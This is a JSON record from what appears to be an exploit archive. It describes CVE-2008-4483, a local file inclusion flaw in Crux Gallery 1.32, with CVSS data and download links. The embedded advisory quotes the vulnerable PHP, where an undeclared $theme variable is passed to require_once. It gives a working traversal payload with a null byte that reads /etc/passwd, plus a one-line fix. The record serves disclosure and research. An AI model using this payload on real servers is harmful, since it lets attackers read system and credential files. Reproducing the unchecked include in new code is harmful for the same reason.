{"exploit":{"id":"EDB-6645","name":"Crux Gallery 1.32 - 'theme' Local File Inclusion (LFI)","description":"Crux Gallery 1.32 - 'theme' Local File Inclusion (LFI)","cves":["CVE-2008-4483"],"author":"StAkeR","published":"2008-10-01","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6645","path":"exploits/php/webapps/6645.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6645.txt","vulnerabilities":[{"id":"CVE-2008-4483","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in index.php in Crux Gallery 1.32 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the theme parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4483","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4483"},"updatedAt":"2024-08-07T10:17:09.781Z","retrievedAt":"2026-11-27T03:09:43.855Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6645.png?v=2","url":"https://exploitbin.com/exploits/EDB-6645","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6645/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6645/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":" ~~+=========================================================+~~\n ~~+=========================================================+~~\n  [?] Crux Gallery <= 1.32 Local File Inclusion Vulnerability\n  [?] Discovered On: 01/10/2008\n  [*] PHP.ini\n  [*] Magic_Quotes_Gpc = Off\n ~~+=========================================================+~~\n  (index.php) // Greetz -> Osirys and darkjoker\n  14. $m = $_GET['m'];\n  15. $p = $_GET['p'];\n  16. $dir = $_GET['dir'];\n  17. require_once(\"main.php\");\n  18. require_once(\"themes/\".$theme.\"/theme.php\");\n  $theme  isn't declared, so you can include any file.\n  [*] http//[path]/index.php?theme=../../../../../etc/passwd%00\n  [*] How To Fix: declare $theme\n  ~~+=========================================================+~~\n\n# milw0rm.com [2008-10-01]","sha256":"eedb8e5b29d2c844259ef1f05e72281038e4f1674e8d7738854edd1947f96e74","bytes":781,"fetchedAt":"2026-11-27T03:09:43.645Z","encoding":"utf-8 (display only; download retains original bytes)"}